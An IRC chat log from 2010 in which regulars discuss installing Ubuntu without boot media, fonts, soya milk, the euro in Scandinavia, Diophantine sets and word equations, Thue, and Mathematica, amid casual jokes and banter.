22:27:45 <ais523> didn't realise the lack of a USB stick
22:28:05 <fizzie> Yes, don't you get USB sticks with breakfast cereal nowadays?
22:28:21 <alise> :)
22:28:22 <Deewiant> I don't
22:28:27 * alise installs ttf-droid to change the UI font
22:28:32 <alise> I'm a bit bored of DejaVu Sans.
22:28:38 <ais523> ok
22:28:45 <fizzie> Deewiant: What sort of breakfast cereal do you buy?
22:28:48 <alise> By "I'm a bit bored of", I mean "I think that a really boring font is".
22:28:59 <ais523> I was going to say "what's wrong with DejaVu Sans", but boringness is a fine reason
22:29:01 <fizzie> Is ttf-droid the Android font?
22:29:02 <Deewiant> fizzie: I don't. Maybe that's the problem.
22:29:17 <ais523> I eat oats for breakfast, but persuade someone else to buy them
22:29:25 <alise> DejaVu Sans is a bit too wide especially.
22:29:30 <alise> fizzie: Yes.
22:29:36 <alise> It's, if nothing else, not boring.
22:29:44 <alise> ais523: what; raw oats?
22:29:55 <ais523> with soya milk
22:30:03 <alise> Vegan?
22:30:09 <alise> lactose intolerant?
22:30:10 <alise> or just like it?
22:30:12 <ais523> I'm not vegan, although my breakfast is by chance
22:30:16 <ais523> it's lactose intolerance
22:30:21 <fizzie> I have the Android monospaced font on the N900 in use in the terminal; it's a lot nicer to the Nokia font. Can't really say whether I prefer it over DejaVu Sans Mono, but then again, I'm pretty boring too.
22:30:37 <ais523> also, I can have a bit of lactose per week, but not too much
22:30:39 <alise> 3% [1 ttf-droid 94119/2,771kB 3%] // and it freezes...
22:30:46 <ais523> besides, I've been drinking soya milk for decades, now
22:31:11 <ais523> and due to the way acquired tastes work, I now can't stand to drink any other sort of milk
22:31:40 <alise> i'm a goat
22:33:42 <alise> "We have commissioned a new font to be developed both for the logos of Ubuntu and Canonical, and for use in the interface. The font will be called Ubuntu, and will be a modern humanist font that is optimised for screen legibility."
22:33:45 <alise> Let's hope that's nice, then.
22:36:36 <pineapple> alise: is this your first time using linux?
22:36:40 <alise> Haha, no.
22:36:45 <alise> Not by a long shot.
22:36:58 <alise> First time installing it on this /machine/, yes...
22:37:06 <alise> First time installing it without an optical drive or USB stick... yeah.
22:37:15 <pineapple> tried anything other than ubuntu?
22:37:23 <alise> Yes.
22:38:04 <alise> I've used Debian, Arch, almost Slackware (its installer hates me; or more probably my systems), even tried getting Mastodon to work... I'd say I've tried stali, but it isn't even out yet.
22:38:14 <alise> I also tried Mandriva when I was young and naive.
22:38:22 <alise> I've also used FreeBSD.
22:38:39 * alise uses Oxford University as his Ubuntu mirror
22:38:48 <alise> At least it works.
22:38:57 <alise> Albeit rather terribly slowly.
22:39:02 <fizzie> Slackware (or was that Debian) had a nice, standard "install without any boot media" officially-supported installation strategy, which (I think) involved dd'ing the ISO image on the partition you were going to use for swap, then booting the installer off that (kernel with loadlin, I think; this was for from-DOS installs), and activating swap only after the installation was done.
22:39:19 <alise> pineapple: Oh, I've also used Plan 9 and researched its architecture rather extensively.
22:39:28 <pikhq> That is still supported in Slackware.
22:39:38 <pikhq> And I think the Debian install manual describes how to do the same.
22:39:47 <fizzie> pikhq: Can you still install Slackware from a huge pile of floppies?-)
22:40:00 <pikhq> fizzie: No, they stopped that a couple releases ago.
22:40:05 <fizzie> Aw.
22:40:10 <alise> Stop using freaky smilies man
22:40:13 <alise> ? is not eyes
22:40:23 <fizzie> It is a FREAKY eye.
22:40:44 <fizzie> Admittedly floppy distributions were getting a bit ridiculous when the number of floppies goes >20 or so.
22:40:57 <pikhq> Yeah.
22:41:14 <alise> Download on:
22:41:14 <alise> * DVD
22:41:14 <alise> * Floppies
22:41:41 <pikhq> I think they had a release of that.
22:42:26 <fizzie> Win95 OSR 2.1 was a 23-floppy release, it seems. (I have forgotten the exact count.)
22:42:33 <fizzie> 26, I mean.
22:42:49 <pikhq> Definitely 26.
22:42:57 <pikhq> I actually installed it from floppy once.
22:43:07 <alise> "I know. I was THERE."
22:43:14 <alise> I wonder why it is that none of my installations ever go smoothly?
22:45:16 <alise> ais523: what's the best ubuntu mirror :x
22:45:24 <alise> i need one insanely fast because my connection sucks.
22:45:33 <ais523> I use the one in Sweden when there's heavy load
22:45:47 <alise> which one?
22:45:58 <ais523> atm, though, I think I'm on the default UK one
22:46:01 <ais523> which should be on the menus
22:46:54 * alise tries the swedish kernel.org
22:49:11 <alise> Bah
22:52:25 <pineapple> mirrorservice.org is usually reliable for me
22:54:06 -!- Gracenotes has joined.
22:55:35 -!- alise has quit (Quit: Leaving).
22:56:42 -!- alise has joined.
22:56:58 -!- alise has quit (Client Quit).
23:01:44 -!- alise_ has joined.
23:01:48 <alise_> Adheration.
23:03:42 <augur> What's the fanclub for Black Adder called?
23:03:44 <Ilari> Soya "milk". Milk comes from mammals. Soya isn't one. :->
23:03:46 <augur> Adder Nation
23:03:46 <augur> 8D
23:04:23 <ais523> Ilari: well, soya milk's the usual name
23:04:26 <alise_> Ilari: Milk snobbery? That is a new one.
23:05:52 <fax> milk comes from coconuts
23:06:46 <augur> ooo burn
23:08:18 <Ilari> There are lots of other products that are called by incorrect names. Like various "Creams" (that are really mostly water, soft fat and additives).
23:08:34 <pikhq> 豆乳 comes from beans!
23:09:37 <alise_> Ilari: I'd say something about prescriptivism, but -
23:10:16 <Ilari> Then there are downright oxymorons like "Fat-free mayonnaise".
23:11:01 <alise_> :-D
23:12:18 -!- oklopol has joined.
23:12:25 <alise_> hi oklopol
23:12:41 <oklopol> hi alise_
23:12:59 <oklopol> i was watching a priest dance an erotic dance
23:13:11 <alise_> okay.
23:16:19 <fax> oklopol -- do you know chevally warning
23:16:40 <oklopol> no
23:16:46 <fax> it's a good theorm :D
23:16:49 <fax> number theory
23:17:02 <fax> oklopol I cannot solve this OR thing :/
23:17:29 <oklopol> well there are a few concepts you don't know that it depends on
23:18:08 <oklopol> i mean really basic concepts, just that you might not realize they're important
23:18:30 <Ilari> Oh, and then there is some misleading names like "milk drink". That's not Milk (something has been done to it so it can't be sold as milk). Oh and don't search for "soya milk" either, its "soya drink".
23:21:03 <Ilari> Oh, and those various "Creams" fortunately can't be sold as creams. :-)
23:23:53 <Ilari> Wonder what milk of Bosavi woolly rat would taste like... :-)
23:24:46 <oklopol> the idea was you do U=V OR U=W by either making U match with V or W, for this you'll need to have ...U... = ...V...W..., and then do some magic to make U only hit exactly one of those two. for this you'll need to at least be able to build primitive words out of U's, V's and W's
23:26:16 <oklopol> ofc i can give more concrete hints as well, or just show you the whole proof; there's a lot more interesting stuff to prove where this came from.... :P
23:27:55 <oklopol> (if anyone else is interested, the context is to represent the OR of two equations on words as one)
23:30:03 -!- coppro has joined.
23:30:28 -!- oklokok has joined.
23:31:10 <fax> oklopol, that doesn't make sense :|
23:31:15 <oklokok> which part
23:31:19 <fax> if U only hits one of them what happens to the rest
23:31:39 -!- alise has joined.
23:31:58 <alise> Good mrr'nng America.
23:32:12 <oklokok> who cares? we know it can't hit anything but either of them, if it can hit one of them, the OR is true, if it can't hit either, then it can't hit anything, and the OR is false
23:32:24 -!- alise_ has quit (Ping timeout: 252 seconds).
23:32:26 <coppro> yay, ubuntu beta
23:32:57 <fax> for ...U... = ...V...W...
23:33:12 <fax> the both sides have to be the same length
23:33:25 <fax> so how can we have ... = ...V... OR ... = ...W...
23:33:26 <oklokok> you have to find such values for ... that U can only be on top of either V or W, then it can be on one of them iff either of the equations is solvable, we just have to make sure it can't be on top of anything else
23:33:54 <oklokok> err you can just have some new variables in ... that fill the rest
23:34:00 <alise> coppro: The major changes are in the GNOME version though.
23:34:03 -!- oklopol has quit (Ping timeout: 252 seconds).
23:34:13 <coppro> yes
23:34:25 <coppro> I don't care, I'm happy the upgrade was smooth
23:34:27 <coppro> it often isn't
23:34:43 <oklokok> like zUz' = ...V...W..., not that i'm saying the left side can actually be that simple
23:35:24 <oklokok> U can be anything, so there's no way to guarantee U can't be on top of say just the left half of V
23:36:06 <oklokok> oh well those should be Z and Z'
23:36:19 <oklokok> i can't learn this convention it seems
23:36:21 <oklokok> :P
23:37:17 <fax> 3oh
23:37:19 <fax> o
23:38:01 <oklokok> anyway i find this trivial because i've seen the solution, but it may have been an open problem at some point, don't really know
23:39:41 <alise> ais523: Isn't it interesting that one of the best programming /environments/, Mathematica, is paired with one of the worst programming /languages/?
23:40:01 <ais523> alise: the environment is tained by the language, I think
23:40:03 <ais523> *tainted
23:40:07 <ais523> also, I hate the way it does line breaks
23:40:22 <ais523> as in, mathematica the IDE suffers from being written in mathematica the lang
23:40:55 <alise> it isn't
23:40:57 <oklokok> the length of the RHS of the solution i have is 38. so you're not going to find it by any sort of brute force
23:41:04 <alise> mm... but if you don't run into the shittiness of the language, it's very nice
23:41:13 <fax> oklokok haha I'm not going to find it at all
23:41:18 <oklokok> :)
23:41:28 * augur grabs oklokok
23:41:40 <alise> ais523: also I think automatic formatting is obviously good but mathematica messes it up
23:41:41 <oklokok> :o
23:41:46 <fax> oklokok I couldn't even find the diophantine representation of complement of powers of 2
23:41:54 <fax> that one is SO EASY but I didn't get it :|
23:41:58 <ais523> alise: ok, I'm happy with that opinion
23:42:27 <alise> brb
23:42:27 <oklokok> what's the exact problem?
23:43:06 <oklokok> like an equation where the solutions, restricted to X, are exactly N - {2^n | n \in N}
23:43:43 <fax> here's the set {a} of composites: a = xy
23:43:52 <fax> well that's wrong actually
23:43:54 <fax> let me correct it
23:43:59 <fax> here's the set {a} of composites: a = (x+2)(y+2)
23:44:06 <fax> since it's in natural numbers
23:44:25 <oklokok> right so solutions restricted to a are exactly composites
23:44:44 <fax> all positive values of a are composites
23:44:59 <fax> the general idea is D(a,x1,x2,...,xn) = 0
23:45:10 <fax> where D is some polynomial iwht integer coefficents
23:45:20 <oklokok> yeah, i just needed the definition of "diophantine representation"
23:46:24 <oklokok> so umm is it "x = (y + 3)(z + 1)"?
23:46:32 <oklokok> you need to have some factor that's more than 2
23:46:37 <oklokok> and then some other factors
23:46:42 <fax> almost
23:46:47 <oklokok> hmm
23:46:55 <oklokok> oh lol
23:47:08 <oklokok> you can still do 4*2
23:47:19 <oklokok> sorry
23:47:21 <augur> so who's watched Earth: Final Conflict?
23:52:26 <fax> oklopol, the answer is (2y + 3)(z + 1)
23:52:51 <oklokok> err right ofc
23:53:04 <oklokok> was just about to get paper
23:53:09 <fax> anyway the complement of this set (powers of two) is diophantine as well
23:53:17 <fax> but that's a hard theorem (takes a whole chapter)
23:53:25 <oklokok> yeah it does sound harder
23:53:48 <fax> the method is great.. he encodes a sequence (fibonacci sequence) and since that has roughly exponential growth, that proves that exponentitation can be defined too :D
23:54:04 <fax> the sequence they actually use (to make the proof more direct) isn't fibs though
23:54:32 <fax> should have said asymptotic rather than roughly
23:54:35 <oklokok> for "has odd factor" you just write x = odd*any, the other direction doesn't have a simple explanation with existential quantification
23:55:09 <fax> (complement isn't always diophantine, compare with the analogue of recursive languages...:))
23:55:22 <fax> but in the case of exponentiation it is
23:55:23 <oklokok> well of course not
23:55:41 <fax> and proving that exponentiation was diophantine was the last piece needed to complete the proof (of hilberts 10th)
23:55:49 <oklokok> hmm well not sure about of course
23:57:13 <oklokok> oh hmm
23:57:18 <oklokok> right i've actually seen that
23:57:37 <fax> seen what/?
23:59:00 <oklokok> exponentiation, but i just realized i haven't
23:59:39 <fax> it's a pretty tough chapter, I haven't really worked through it yet just understood the general idea
23:59:48 <oklokok> what are you reading?
2010-03-21
00:00:03 <fax> http://logic.pdmi.ras.ru/~yumat/H10Pbook/
00:00:47 <fax> http://logic.pdmi.ras.ru/~yumat/H10Pbook/bookcont.htm
00:01:49 <oklokok> ok
00:03:12 <oklokok> anyway for OR the solution isn't something you'll just look at and go "oh lol why couldn't i see that"
00:03:31 <oklokok> although anyone should be able to prove it
00:03:39 <fax> I don't think I give up yet
00:04:27 <oklokok> tell me if you do, and we can start talking about fixed-points of morphisms
00:04:48 <fax> why does that require knowledge of OR?
00:05:01 <oklokok> it doesn't, i just wanted to segway into it in an awkward way
00:05:06 <fax> :D
00:05:19 <fax> why 'of morphisms' isn't the theory just the same
00:05:55 <oklokok> well we use morphisms to get all sorts of avoidability results, because infinite words defined as fixed-points of morphisms have the fun property that we can do induction on them.
00:06:30 <oklokok> if the pattern XYX occurs in h^n(a), then it must occur in h^(n-1)(a)
00:06:30 <fax> o_o
00:06:44 <fax> this is still thue/monoid theory?
00:06:54 <oklokok> yep
00:07:10 <oklokok> topic is combinatorics on/of words, subtopic avoidability
00:07:33 <alise> thue is beautiful
00:07:39 <alise> possibly the simplest tc language ever
00:07:39 <oklokok> morphisms, by which i mean homomorphisms, are just a convenient way to get there
00:07:48 <oklokok> :P
00:07:49 <alise> it doesn't even have variables... or anything
00:08:03 <alise> you're a homo (morphism)
00:08:18 <oklokok> alise: it's the same thue at least
00:08:41 -!- AnMaster_ has joined.
00:08:44 <oklokok> oh and well i guess both are word stuff
00:08:53 <alise> oh not the language
00:08:57 <alise> boring :P
00:09:05 <alise> yeah
00:09:16 <fax> how do you write logical OR in Thue?
00:09:29 <fax> hm
00:09:30 <fax> it's easy
00:09:44 <alise> i forget the syntax but
00:09:49 <alise> 0|0 -> 0
00:09:51 <alise> 0|1 -> 1
00:09:58 <alise> 1|0 -> 1
00:09:58 <alise> 1|1 -> 1
00:10:22 <alise> it's hard to believe that such ... uncomputational rules can still have things like storage and plugging that storage into other things
00:11:30 <alise> I would say Thue is simpler than BCT
00:11:30 <alise> ignoring the IO fluff
00:11:45 <alise> it's basically [(string,string)] -> string -> string
00:12:38 <alise> and really all you do is... pick something from the array, find it in the program, replace by the second element, repeat
00:14:22 -!- AnMaster has quit (*.net *.split).
00:14:40 <alise> "i've been using ASP for years, but this is my first shot at something big in PHP, so i didn't even know there was a strip_tags function! wow ASP needs something like that lol" -- this was written in 2010
00:16:29 <fax> lol
00:16:47 -!- oerjan has joined.
00:19:36 <oerjan> <alise> Maybe I'll go to Norway, they have the Euro :P
00:19:37 <oerjan> er, no
00:19:59 <oerjan> was this sarcasm...
00:20:06 <alise> I thought they did?
00:20:16 <oerjan> certainly not
00:20:18 <alise> At least I remember reading they did.
00:20:57 <oerjan> we're not an EU member. not that that has stopped other countries from using the Euro.
00:21:26 <coppro> the Scandinavians love their currencies
00:21:47 <pikhq> They are at least in Schengen.
00:21:50 <alise> huh; norway isn't an eu member?
00:21:58 <alise> my illusions are being shattered
00:22:08 <alise> does denmark at least have the euro
00:22:11 <coppro> no
00:22:22 <oerjan> alise: you're an eu citizen and you don't know which countries are eu members? O_O
00:22:23 <alise> wtffffffffffff :|
00:22:25 <coppro> of the Scandinavian countries, only Finland does
00:22:34 <coppro> Norway has the coins with holes in them
00:22:41 <alise> oerjan: oh come on britain is barely an eu member :D
00:22:44 <oerjan> neither denmark, sweden or norway have the euro, although with different excuses
00:23:10 <oerjan> norway isn't an eu member, denmark has an exception and sweden pretends they have one ;D
00:23:20 <oerjan> *excemption
00:23:26 <oerjan> *exemption
00:23:43 * coppro has a sudden craving for donus
00:23:45 <coppro> *donuts
00:23:59 <coppro> good thing I live in Canada
00:24:00 <oerjan> and the rest of eu seem to pretend sweden does too, so it's de facto
00:24:17 <alise> coppro: whereabouts in canada do you live?
00:24:24 <coppro> alise: Calgary
00:24:35 <coppro> oerjan: Sweden is exploiting a loophole to avoid having to switch
00:24:37 <alise> expect me there roughly tomorrow
00:24:47 <coppro> :P
00:24:52 <alise> have you guys sorted out your shitty government yet?
00:24:55 <coppro> no :(
00:24:59 <alise> ETA?
00:25:14 <coppro> 2900
00:25:35 <oerjan> coppro: yeah but only sweden has a "permanent" permission to use that loophole iiuc
00:25:37 <alise> maybe i won't move to canada :P
00:26:01 <oerjan> other eastern members won't get to use it, although with the financial crisis the point is currently moot i think
00:26:26 <oerjan> (since they have a perfectly reasonable reason not to be able to reach the criteria)
00:26:30 <oerjan> (yet)
00:26:31 <alise> nooo, the recession is over - the banks are giving out bonuses again!
00:26:40 <alise> (paraphrased from reddit)
00:26:49 <oerjan> alise: now _that_ must be sarcasm
00:26:58 <oerjan> since they did that the whole time
00:27:15 <coppro> yesterday a point of privilege was raised against a Minister in the House of Commons; if the Speaker allows it, the House will probably find him in contempt
00:27:31 <oerjan> coppro: ooh, scary
00:27:35 * oerjan snickers
00:27:38 <alise> oerjan: of course.
00:28:01 <coppro> It is indeed amusing
00:28:01 <alise> coppro: in your government
00:28:11 <alise> do people shout at each other all the time
00:28:14 <coppro> oh yes
00:28:20 <oerjan> iirc some tiny countries outside the EU also use the euro; andorra, monaco and san marino i think.
00:28:26 <coppro> we took our system from you, remember?
00:28:34 <alise> and do you have a game where everyone in the party that's talking goes "ooooh" all the time
00:28:39 <oerjan> montenegro did at one time, not sure now
00:28:41 <alise> right
00:28:41 <alise> just checking
00:28:41 <alise> not canada then
00:29:32 <oerjan> and there's some west african franc or something that is linked to the euro iirc (used to be linked to the franc)
00:29:57 <oerjan> (a multinational african currency)
00:30:27 <oerjan> of course wikipedia has all this, probably where i read most of it
00:30:43 <alise> anyone want to fight with ggz to play reversi?
00:30:51 <alise> ask ais523 if you want to know how horrific it is
00:31:08 <ais523> no, don't ask, just guess from my horrified reaction
00:31:10 -!- Oranjer has joined.
00:31:32 <pikhq> oerjan: Also the Vatican.
00:32:10 -!- Asztal has joined.
00:32:20 <oerjan> pikhq: darn i thought about it but forgot to write it :D
00:33:44 <alise> so guys remember when we were talking about the impossibility of having legal sex in the vatican
00:33:58 <oklokok> oh almost forgot, i got the summer job i mentioned. so i'll be proving properties of CA all summer \o/
00:33:58 <alise> what if you had a friend who was a high-ranking catholic, and he let you have sex in his vatican residence
00:34:36 <fax> oklokok o_o
00:34:43 <fax> this is a JOB??
00:34:44 <oerjan> ah also kosovo (unofficial)
00:35:53 <alise> oklokok is proving properties of california and, unofficially, kosovo
00:37:27 <oklokok> yes, job at uni
00:37:38 <pikhq> alise: Heheh.
00:37:55 <alise> "In addition, the convenient new function Total can now be used to efficiently add lists of numbers. " --Mathematica 5
00:37:59 <alise> EFFICIENTLY!
00:38:20 <fax> lol what
00:38:24 <ais523> alise: all of Mathematica is inefficient unless special-cased
00:39:24 <pikhq> ais523: Seriously?
00:39:30 <ais523> yes
00:39:41 <ais523> but there's a lot of special-casing
00:39:47 <ais523> and the special cases tend to be fast
00:39:50 <ais523> it's one of the things I hate about it
00:39:53 <alise> most of mathematica is special cases yeah
00:39:56 <ais523> really good benchmarks, but practically useless
00:40:05 <alise> pikhq: consider - the entire language is just tree rewriting
00:40:21 <pikhq> alise: ... And they implement it naively?
00:40:22 <pikhq> *shudder*
00:40:27 <alise> rewriting f[x_1,x_2,...,x_n] into another tree
00:40:43 <alise> So they special-case a ton of stuff so that it isn't horribly slow if you do what they want.
00:41:18 <oklokok> why thank you, i too think i'm the luckiest person in the whole fucking universe :)
00:41:45 <alise> oklokok: god i hate you
00:41:53 <oklokok> ah that's better
00:41:53 <alise> just die so that i can take your place :<
00:42:31 <alise> die... just die
00:42:42 <oklokok> <3
00:43:44 <alise> also...
00:43:53 <oklokok> the stuff they make me do will probably be like "write this trivial program to do X so we know if we're on the right track"
00:43:54 <alise> die :|
00:44:13 <alise> oklokok: assure me they will be formal proofs
00:46:12 <oklokok> i think it's faster to just write a python hack.
00:47:18 <pikhq> Sure it's faster. But less proofy!
00:47:37 <oklokok> oh well that's rather true
00:48:27 -!- MigoMipo has quit (Remote host closed the connection).
00:49:55 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:58:42 <alise> a python-based proof system would be amusingorrible
00:59:39 <alise> card(NN)==aleph(0)
00:59:54 <oerjan> what's NN?
01:00:32 <alise> naturals
01:00:42 <alise> N is a bit too ambiguous by itself, and blackboard = double-striking
01:00:44 <alise> so NN is as good a name as any
01:00:46 <oklokok> double the naturality
01:01:19 <fax> heh
01:01:21 <oerjan> except NN looks like it could be NxN. or perhaps more likely, {mn | m,n \in N}
01:01:22 <fax> NN that's clever
01:01:48 <oklokok> in any of the three cases the statement is true
01:02:06 <alise> Sigma(QQp >> QQ, lambda f: ForAll(QQp, QQp, lambda e1, e2: abs(f(e1) - f(e2)) <= e1 + e2))
01:02:15 <oerjan> the last notation is used for other things too
01:02:31 <oerjan> oklokok: well yeah, since NN=N for the last case
01:03:05 <fax> ugh alise you're making me ill :P
01:03:12 <fax> python doesn't even have a type system
01:03:40 <alise> that's why you give it one!
01:03:57 <fax> ooh I was talking to someone aboutthis
01:04:20 <fax> something about adding a type system to lisp
01:04:38 <alise> Qi
01:04:59 * fax doesnt likei Qi :[
01:05:07 <fax> its like somem weird frankenstien
01:05:08 <alise> me neither
01:05:14 <fax> dunno why they made it
01:05:23 <fax> well I have nothing against them making it to be honest
01:05:32 <fax> just don't get why anyone other than the author gives a toss :P
01:05:50 <alise> >>> coerce(refl(), Eq(NN, 2+2, 1+3))
01:05:55 <fax> http://vimeo.com/10297756
01:05:59 <alise> refl() :: Eq(NN, 4, 4)
01:06:08 <alise> i am so tempted to actually make this now
01:06:09 <alise> it would be so popular
01:06:36 -!- ais523 has quit (Remote host closed the connection).
01:06:55 -!- nooga has joined.
01:06:57 <oklokok> why do i always make too much food and eat all of it
01:06:58 <oerjan> tip for english speakers: when spelling german words, switch ei and ie around from what your flawed intuition tells you. hth.
01:07:14 <fax> EYEgenvalue
01:07:23 * fax still hs trouble with this
01:07:29 <alise> eeigenvalue
01:07:39 <alise> eiegenvalue
01:07:45 <fax> ~ egen - igen, egen - igen, lets call the whole thing off ~
01:07:53 <oerjan> aaaaaaaaaaaaaaaigenvalue
01:08:08 <Gregor> oklokok: THERE ARE STARVING PEOPLE IN AFRICA YOU KNOW
01:08:29 <alise> card(NN)==card(QQ)
01:08:42 <oklokok> so... does that mean i should eat a lot or that i should not eat a lot?
01:09:01 <Gregor> oklokok: I think it means you should clear your plate. I don't know by what logic it means this.
01:09:42 <oklokok> i think i've seen the proof in preschool
01:10:14 <oerjan> oklokok: you should eat your food so you'll grow up to be a good missionary in africa, clearly
01:10:23 <alise> !Exists(NNp, NNp, NNp, NNp, lambda a, b, c, n: (a**n) + (b**n) == (c**n))
01:10:26 <fax> preschool??
01:10:29 <fax> You did set theory in preschool? :P
01:10:30 <Gregor> oerjan: Your interpretation is awesomesauce.
01:10:31 <fax> what the nell
01:10:45 <Gregor> fax: You didn't?
01:10:50 <fax> no
01:10:54 <alise> set theory in preschool would be awesome
01:10:57 <fax> I did this stuff at home
01:11:31 <oerjan> Gregor: also possibly realistic
01:11:49 <Gregor> My preschool was basically like this: Get there, finger paint, nap, ring theory, lunch, nap, recess, quantum mechanics, nap, dress-up, go home.
01:12:01 <fax> lol
01:12:29 <Gregor> Apparently there was a lot of napping.
01:12:35 <Gregor> A ridiculous amount, frankly.
01:12:35 <oerjan> i mean in my fantasy, the kind of people who tell their children there are starving people in africa to make them eat, are the same kind that would want their children to be missionaries
01:12:36 <alise> in? : {A:Set} -> (x:A) -> (B:Set) -> Decision (A === B)
01:12:49 <oklokok> fax: i was talking about the starving kids actually
01:13:04 <oklokok> when i was in preschool i think i was just as retarded as everyone else
01:13:06 <fax> ohh
01:13:32 <oklokok> well actually i was one of the two who could read and the other guy was a few years older
01:13:34 <alise> oklokok: hey python guy, is it possible to make "3" yield something other than an int
01:13:45 <oklokok> i don't know.
01:13:51 <oklokok> probably.
01:14:17 <oerjan> oklokok: well there seems to be a school of thought that says that when you don't like something you should think about how some other people have it worse. i've never understood how this is supposed to make me feel better.
01:14:20 <oklokok> i know very little about python's internals, which is a bit stupid because those are the whole point
01:14:35 <coppro> ugh, what a waste
01:14:41 <coppro> no Timbits left, and the library was closed
01:15:03 <oklokok> oerjan: schadenfreude best freude right
01:15:33 <fax> http://vimeo.com/10298933
01:15:37 <fax> part 2 ^
01:16:29 -!- Sgeo has joined.
01:19:00 <Sgeo> Anyone here?
01:19:05 <oklokok> yes
01:19:42 <oklokok> why would i eat like 800g of food when i'm full after like 400g
01:20:01 <fax> that video fucking rules
01:20:32 <oklokok> what's it about, my connection isn't fast enough to want to look without knowing
01:21:11 <fax> wooden 'cells' that can connect up on some conditions and separate on others
01:21:19 <pikhq> oklokok: Need an extra kg.
01:21:21 <alise> so basically the game of life
01:21:26 <alise> :P:P
01:21:27 <pikhq> (such is the American way)
01:21:29 <fax> so conglomerations of them can self replicate in some sense
01:22:20 <oklokok> i wish i lived in america, the land of dreams
01:23:05 <pikhq> Actually, it's the land of too much food.
01:23:51 -!- FireFly has quit (Quit: Leaving).
01:23:58 <pikhq> It is feasible to have a pound (approx. 2kg) of food in a meal here.
01:24:02 <nooga> goddamn venti
01:24:05 <pikhq> Rather common, even.
01:24:06 <nooga> goddamn qemu
01:24:07 <oklokok> pound = 500g
01:24:13 <pikhq> Erm.
01:24:21 <pikhq> THINKO SUCKS HARD
01:24:31 <alise> I don't get why people think that if some food is tasty more of that food is even tastier. :)
01:24:31 <oklokok> 500g is a small breakfast
01:24:34 <oklokok> :D
01:24:45 <pikhq> AND I DIDNT MEAN 1 LBS.
01:24:52 <pikhq> WE OVEREAT MUCH MORE THAN THAT.
01:25:17 <oklokok> i believe that
01:25:29 <alise> i like breakfast
01:25:35 <alise> it's a very worthwhile kind of meal
01:25:49 <coppro> it is
01:25:55 <coppro> I wish I was better at it
01:26:15 <fax> coppro, breakfast isn't very difficult
01:26:28 <oklokok> difficult in what sense
01:26:29 <fax> you just need to get the basics down
01:26:31 <alise> quite :D
01:26:36 <alise> you get some things and then you put them in your mouth, and digest them
01:26:37 <coppro> the trickiest part is having enough time
01:26:51 <alise> stop caring about obligations
01:26:53 <alise> :D
01:26:54 <pikhq> 1 lbs. of meat, though, is quite feasible. Then another 1 lbs. of fries. And a half-gallon of soda.
01:27:06 <coppro> alise: but the schoolteachers get angry!
01:27:09 <oklokok> ah
01:27:12 <oklokok> that sounds better
01:27:20 <alise> coppro: BIG WHOOP
01:27:28 <coppro> and then my parents get angry
01:27:41 <alise> pikhq: American meals are more portions of barely-food lumped together than meals
01:27:41 <alise> coppro: BIG WHOOP
01:27:46 <coppro> lol
01:27:53 <pikhq> alise: Yes.
01:27:57 <alise> coppro: just write an amazing mathematical work
01:28:00 <Sgeo> Any plans for those machines?
01:28:02 <alise> sorted
01:28:12 <coppro> alise: that sounds like effort
01:28:19 <fax> alise
01:28:31 <alise> coppro: but it's fun!
01:28:37 <fax> Alise: Terry Tao is becoming a finitist http://terrytao.wordpress.com/2010/03/19/a-computational-perspective-on-set-theory/
01:28:46 * coppro is going to go do more calculus homework :/
01:28:59 <alise> fax: does that make five?
01:29:07 <alise> I don't believe in five
01:29:07 <alise> so he can't be a finitist
01:29:11 <fax> I'm just kidding of course
01:29:26 <fax> there's just a little bit of finitism in there though
01:29:33 <fax> alise, 5 is trivial
01:29:47 <alise> no it is too big
01:29:55 <fax> I suppose you have some cubic explanation of the nonexistence of 5?
01:30:13 <alise> well my universe is finite right so every set gets a certain ration
01:30:20 <alise> and since some sets are just so much bigger than the naturals
01:30:24 <alise> and there are so many of them
01:30:30 <alise> the naturals only have the space for four elements
01:30:37 <fax> lol WHAT
01:30:40 <fax> does not follow
01:30:56 <alise> i don't believe in not following
01:31:00 <alise> i'm also a trivialist
01:31:20 * coppro wonders which unit is next... probably curve sketching. yay
01:31:49 <oklokok> curve sketching calculus homework?
01:31:56 <fax> coppro: curve sketching is boring as fuck but it's actually really useful if you just get good enough at it to not really have to think too hard to do it
01:32:23 <fax> alise, http://www.paulkabay.com/#trivialism seen this?
01:32:40 <alise> fax: yeah but i didn't have the attention span to read all the huge papers
01:32:49 <fax> how acn you be a true trivialist :P
01:32:54 <alise> i have like this limited obvious-parody attention span thing.
01:32:55 <fax> you are not working hard enough
01:33:14 <alise> actually i'm a mualist, no questions have "true" answers
01:33:33 <coppro> fax: Yeah...
01:36:02 <fax> I am not sure it's a parody
01:36:13 <fax> I can see where you are coming from though
01:36:28 <alise> It is.
01:36:28 <oerjan> but not how fast he is going
01:36:33 <fax> lol
01:36:48 <alise> he says it's a parody right on that page
01:36:53 <coppro> hmm
01:37:02 <coppro> I don't wanna do my Agora duties :(
01:37:09 <alise> "I do not accept trivialism I reject it! (Who wouldnt reject it?) Reading this material may convince you that I am lying and that I really do believe this stuff but that is because you have no sense of irony."
01:37:10 -!- nooga has quit (Ping timeout: 258 seconds).
01:37:13 <alise> coppro: So resign.
01:37:18 <coppro> alise: that seems bad
01:37:24 <coppro> I like them generally
01:37:36 <coppro> it's just that with the lists down, that means extra effort to redirect them to a backup list
01:37:38 <fax> alise, I've seen that -- you're just taking it at face value
01:37:44 <alise> make a contract whereby someone else does them in return for some material reward by you
01:37:49 -!- nooga has joined.
01:37:52 <alise> *reward from you
01:38:00 <alise> fax: he uses it to debunk diaelethismsdfjksijf
01:38:02 <alise> however you spell it
01:38:46 <coppro> oh, wonderful
01:39:06 <coppro> the first question of this assignment (on curve sketching) is "Find the domain of y = sqrt(3x-5)." FUN
01:39:19 <pikhq> alise: He uses it to debunk gwandocu.
01:41:14 <Gregor> coppro: If complex numbers are "acceptable", then that's just [-inf, inf] :P
01:41:28 <coppro> Gregor: heh, I wish
01:41:33 <oklokok> coppro: what's the domain of that function? the domain is that domain
01:41:37 <coppro> it's not a tough question, it's just that I thought I was done with this stuff
01:42:24 <coppro> Gregor: also, inclusive bounds on an infinity?
01:42:41 <Gregor> Idonno, maybe :P
01:42:44 <fax> coppro, Don't listne to Gregor, he's an infinitist!
01:42:58 <Gregor> Don't listen to fax, he's infantile!
01:43:01 <oklokok> that's a really bad question
01:43:15 <fax> oklopol geez what are you doing here
01:43:21 <oklokok> ...i don't know :<
01:43:26 <oerjan> Gregor: if complex numbers are acceptable, then the domain's C, clearly :)
01:43:36 <oklokok> i actually ate until now, although i guess i also did other things...
